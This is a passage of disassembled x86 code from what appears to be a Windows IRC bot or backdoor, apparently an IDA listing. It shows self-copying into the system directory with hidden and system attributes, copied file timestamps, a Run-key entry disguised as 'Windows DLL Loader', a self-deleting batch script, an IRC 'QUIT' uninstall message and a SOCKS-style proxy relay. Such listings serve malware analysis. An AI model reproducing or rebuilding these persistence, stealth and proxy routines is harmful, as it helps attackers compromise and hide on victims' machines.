var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC0C lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset dword_418DE0 call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC0C lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call dword_417040 ; GetWindowsDirectoryA push offset dword_418DE8 lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_417048 ; GetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call dword_41704C ; SetFileTime push [ebp+var_120] call dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call dword_417068 ; WriteFile push [ebp+var_28] call dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call dword_4171D0 push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: .data:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: .data:0041AD4Co ; .data:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset dword_41EAFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call dword_41707C ; CreateProcessA call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call dword_417050 ; GetSystemDirectoryA push offset dword_418DE4 lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset dword_41EAFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset dword_41EAFC push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset dword_41EAFC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call dword_417254 ; WSACleanup push 0 call dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DE00 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset dword_418EEC loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE00 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push 